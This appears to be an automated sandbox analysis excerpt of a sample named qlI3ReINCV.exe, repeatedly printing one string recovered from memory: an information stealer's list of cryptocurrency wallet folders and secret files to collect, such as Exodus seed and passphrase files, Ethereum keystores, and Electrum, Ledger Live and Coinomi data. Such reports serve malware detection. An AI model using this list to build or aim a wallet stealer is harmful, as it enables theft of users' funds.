Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
